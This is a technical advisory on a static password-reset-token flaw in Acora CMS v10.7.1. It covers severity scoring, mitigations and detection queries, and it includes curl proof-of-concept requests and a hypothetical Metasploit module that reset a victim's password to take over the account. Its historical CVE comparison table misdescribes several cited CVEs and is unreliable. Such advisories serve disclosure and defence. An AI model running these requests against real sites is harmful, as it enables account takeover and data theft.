Comprehensive Technical Analysis of CVE-2025-63314

CVE ID: CVE-2025-63314 CVSS Score: 10.0 (Critical) Affected Software: DDSN Interactive Acora CMS v10.7.1 Vulnerability Type: Static Password Reset Token (Replay Attack)

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1. Vulnerability Assessment & Severity Evaluation

Vulnerability Overview

CVE-2025-63314 is a critical authentication bypass vulnerability in Acora CMS v10.7.1, stemming from the use of a static password reset token in the password recovery mechanism. This flaw allows unauthenticated attackers to arbitrarily reset user passwords and execute full account takeovers (ATO) via replay attacks.

Severity Justification (CVSS 10.0)

The CVSS v3.1 scoring breakdown is as follows:

Metric	Value	Justification
Attack Vector (AV)	Network	Exploitable remotely over HTTP/HTTPS.
Attack Complexity (AC)	Low	No special conditions required; trivial to exploit.
Privileges Required (PR)	None	No authentication needed.
User Interaction (UI)	None	No victim interaction required.
Scope (S)	Changed	Compromises confidentiality, integrity, and availability of user accounts.
Confidentiality (C)	High	Full account access, including sensitive data.
Integrity (I)	High	Attacker can modify account data.
Availability (A)	High	Account lockout or denial of service possible.

Result: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H → 10.0 (Critical)

Root Cause Analysis

The vulnerability arises from:

• Static or Predictable Password Reset Tokens: Instead of generating one-time, time-bound tokens, Acora CMS uses a fixed or easily guessable token for password resets.
• Lack of Token Expiration: Tokens remain valid indefinitely, enabling replay attacks.
• Insufficient Token Validation: The system does not verify token uniqueness or enforce rate-limiting, allowing brute-force or replay-based exploitation.

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2. Potential Attack Vectors & Exploitation Methods

Exploitation Workflow

1. Reconnaissance Phase

   • Attacker identifies a target user (e.g., via email enumeration or leaked credentials).
   • Determines the password reset endpoint (e.g., /reset-password?token=STATIC_TOKEN).

2. Token Acquisition

   • Option 1 (Direct Leak): If the token is hardcoded or logged, the attacker retrieves it from:
     • Server logs
     • Browser history
     • Email headers (if sent in plaintext)
   • Option 2 (Brute-Force): If the token is weak (e.g., 123456), the attacker guesses it via automated tools (e.g., Burp Suite, Hydra).
   • Option 3 (Replay Attack): If a previous reset token was intercepted (e.g., via MITM), it can be reused.

3. Password Reset Execution

   • Attacker submits a crafted HTTP request to the reset endpoint:

     POST /reset-password HTTP/1.1
     Host: vulnerable-acora-cms.com
     Content-Type: application/x-www-form-urlencoded
     
     token=STATIC_TOKEN&new_password=attacker123
     

   • The system accepts the static token and resets the password without validation.

4. Account Takeover (ATO)

   • Attacker logs in with the new password, gaining full control over the victim’s account.
   • Potential escalation to admin privileges if the compromised account has elevated access.

Real-World Attack Scenarios

Scenario	Description	Impact
Phishing + Replay	Attacker sends a phishing email with a fake reset link containing the static token.	Mass account compromise.
MITM Interception	Attacker intercepts a legitimate password reset request (e.g., via unsecured Wi-Fi) and reuses the token.	Targeted ATO.
Insider Threat	A malicious insider (e.g., disgruntled employee) uses the static token to reset admin passwords.	Privilege escalation.
Automated Bot Attacks	Attacker scripts mass password resets using the static token.	Large-scale credential stuffing.

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3. Affected Systems & Software Versions

Vulnerable Software

• Product: DDSN Interactive Acora CMS
• Version: v10.7.1 (confirmed)
• Likely Affected Versions: All prior versions if the same authentication mechanism is used.

System Requirements for Exploitation

• Network Access: Remote (HTTP/HTTPS)
• Authentication: None required
• User Interaction: None required
• Exploit Complexity: Low (no specialized tools needed)

Indicators of Compromise (IoCs)

• Unusual Password Reset Requests: Multiple reset attempts from the same IP.
• Static Token Usage: Repeated use of the same token in logs.
• Unauthorized Login Attempts: Failed logins followed by successful logins from new IPs.

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4. Recommended Mitigation Strategies

Immediate Remediation (Short-Term)

Action	Implementation Details	Effectiveness
Disable Password Reset Functionality	Temporarily disable the reset endpoint until a patch is applied.	High (stops exploitation)
Rotate All Passwords	Force a password reset for all users via a secure, out-of-band method.	High (mitigates ATO)
Rate-Limiting	Implement rate-limiting on the reset endpoint (e.g., 5 attempts per IP/hour).	Medium (slows brute-force)
Log & Monitor Reset Requests	Enable detailed logging of reset attempts and alert on suspicious activity.	Medium (detects attacks)

Long-Term Fixes (Vendor & Developer Actions)

1. Replace Static Tokens with Dynamic, Time-Bound Tokens

   • Use cryptographically secure random tokens (e.g., UUIDv4, 32+ characters).
   • Enforce short expiration (e.g., 15-30 minutes).
   • Store tokens hashed (e.g., bcrypt) in the database.

2. Implement Multi-Factor Authentication (MFA)

   • Require MFA for password resets (e.g., TOTP, SMS, or email verification).
   • Prevents replay attacks even if the token is leaked.

3. Secure Token Transmission

   • Use HTTPS for all reset requests.
   • Avoid sending tokens in URL parameters (use POST requests instead).

4. Enforce Token Uniqueness & One-Time Use

   • Ensure tokens are single-use and invalidated after first use.
   • Implement server-side token validation with strict checks.

5. Patch Management

   • Upgrade to the latest version of Acora CMS once a patch is released.
   • Monitor vendor advisories for updates.

Workarounds (If Patch Not Available)

• Custom WAF Rules: Block requests containing known static tokens.
• IP Whitelisting: Restrict password reset access to trusted IPs.
• Manual Approval: Require admin approval for password resets.

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5. Impact on the Cybersecurity Landscape

Broader Implications

1. Increased Account Takeover (ATO) Risks

   • Static tokens are a common misconfiguration in CMS platforms, making this a high-impact, low-effort attack.
   • Similar vulnerabilities have been exploited in WordPress, Drupal, and Joomla in the past.

2. Supply Chain & Third-Party Risks

   • Acora CMS is used by enterprises and government agencies, increasing the risk of lateral movement in breaches.
   • Attackers may chain this vulnerability with other exploits (e.g., XSS, SQLi) for deeper compromise.

3. Regulatory & Compliance Violations

   • GDPR (Article 32): Failure to implement secure authentication may result in fines.
   • NIST SP 800-63B: Violates guidelines on authenticator assurance levels (AAL).
   • PCI DSS (Requirement 8.2): Non-compliance if static tokens are used for admin accounts.

4. Reputation & Financial Damage

   • Brand erosion due to public disclosure of breaches.
   • Legal liabilities if sensitive data is exposed.
   • Incident response costs (forensics, notifications, credit monitoring).

Historical Context & Similar CVEs

CVE	Description	Similarity to CVE-2025-63314
CVE-2017-8295	WordPress password reset token leakage via Host header.	Static token exposure.
CVE-2019-11510	Pulse Secure VPN static password reset token.	Replay attack vulnerability.
CVE-2021-22893	Pulse Connect Secure arbitrary file read via static token.	Predictable token usage.

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6. Technical Details for Security Professionals

Proof-of-Concept (PoC) Exploitation

Assumptions:

• Target: https://vulnerable-acora-cms.com
• Static token: acora_reset_123 (example)

Step 1: Identify Reset Endpoint

curl -I "https://vulnerable-acora-cms.com/reset-password"

Expected Response:

HTTP/1.1 200 OK
Content-Type: text/html

Step 2: Submit Reset Request with Static Token

curl -X POST "https://vulnerable-acora-cms.com/reset-password" \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "token=acora_reset_123&new_password=hacked123&email=victim@example.com"

Expected Response:

HTTP/1.1 200 OK
{"status":"success","message":"Password reset successfully."}

Step 3: Login with New Password

curl -X POST "https://vulnerable-acora-cms.com/login" \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "email=victim@example.com&password=hacked123"

Expected Response:

HTTP/1.1 200 OK
{"status":"success","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}

Detection & Forensic Analysis

Log Analysis (Apache/Nginx Example):

192.168.1.100 - - [12/Jan/2026:12:34:56 +0000] "POST /reset-password HTTP/1.1" 200 456 "-" "curl/7.68.0"
192.168.1.100 - - [12/Jan/2026:12:35:01 +0000] "POST /login HTTP/1.1" 200 1234 "-" "curl/7.68.0"

Indicators:

• Multiple POST /reset-password requests with the same token parameter.
• Successful logins from unusual IPs after reset attempts.

SIEM Rules (Splunk/ELK Example):

index=web_logs sourcetype=access_combined
| search uri_path="/reset-password" method=POST
| stats count by clientip, token
| where count > 5
| table clientip, token, count

Alert Condition: More than 5 reset attempts with the same token from a single IP.

Reverse Engineering (If Source Code Available)

Vulnerable Code Snippet (Hypothetical):

// Acora CMS v10.7.1 - Password Reset Logic
function reset_password($email, $token, $new_password) {
    $static_token = "acora_reset_123"; // Hardcoded token
    if ($token == $static_token) {
        $user = get_user_by_email($email);
        update_user_password($user->id, $new_password);
        return "Password reset successfully.";
    }
    return "Invalid token.";
}

Flaws:

• Hardcoded token (acora_reset_123).
• No token expiration or uniqueness checks.
• No rate-limiting or logging.

Exploit Development (Metasploit Module Concept)

## Hypothetical Metasploit Module for CVE-2025-63314
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Acora CMS v10.7.1 Static Password Reset Token Exploit',
      'Description'    => %q{
        This module exploits a static password reset token in Acora CMS v10.7.1
        to perform an account takeover via replay attack.
      },
      'Author'         => ['padayali-JD'],
      'License'        => MSF_LICENSE,
      'References'     => [['CVE', '2025-63314']],
      'Payload'        => {'BadChars' => "\x00"},
      'Targets'        => [['Automatic', {}]],
      'DisclosureDate' => '2026-01-12'
    ))

    register_options([
      Opt::RPORT(80),
      OptString.new('TARGETURI', [true, 'Base path to Acora CMS', '/']),
      OptString.new('EMAIL', [true, 'Target user email', 'admin@example.com']),
      OptString.new('NEW_PASSWORD', [true, 'New password to set', 'exploited123'])
    ])
  end

  def exploit
    token = "acora_reset_123" # Static token
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, 'reset-password'),
      'vars_post' => {
        'token' => token,
        'email' => datastore['EMAIL'],
        'new_password' => datastore['NEW_PASSWORD']
      }
    })

    if res && res.code == 200 && res.body.include?("success")
      print_good("Password reset successful! Login with #{datastore['EMAIL']}:#{datastore['NEW_PASSWORD']}")
    else
      fail_with(Failure::UnexpectedReply, "Exploit failed.")
    end
  end
end

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Conclusion & Recommendations

Key Takeaways

• CVE-2025-63314 is a critical flaw due to its low complexity, high impact, and remote exploitability.
• Static password reset tokens are a recurring issue in CMS platforms and must be eliminated in favor of dynamic, time-bound tokens.
• Immediate action is required to patch, rotate credentials, and implement MFA.

Action Plan for Organizations

Priority	Action	Owner	Timeline
Critical	Disable password reset functionality.	IT/Security Team	Immediate (24h)
Critical	Rotate all user passwords via secure method.	IT/Security Team	Within 48h
High	Apply vendor patch (when available).	DevOps/IT Team	Within 7 days
High	Implement MFA for password resets.	Security Team	Within 14 days
Medium	Conduct a security audit of authentication mechanisms.	Security Team	Within 30 days

Final Remarks

This vulnerability underscores the critical importance of secure authentication design. Organizations using Acora CMS v10.7.1 should assume compromise and take immediate remediation steps. Security teams should monitor for exploitation attempts and enhance detection capabilities for similar flaws in other systems.

For further details, refer to:

• MITRE CVE Entry
• GitHub PoC
• Acora CMS Security Advisory (when published)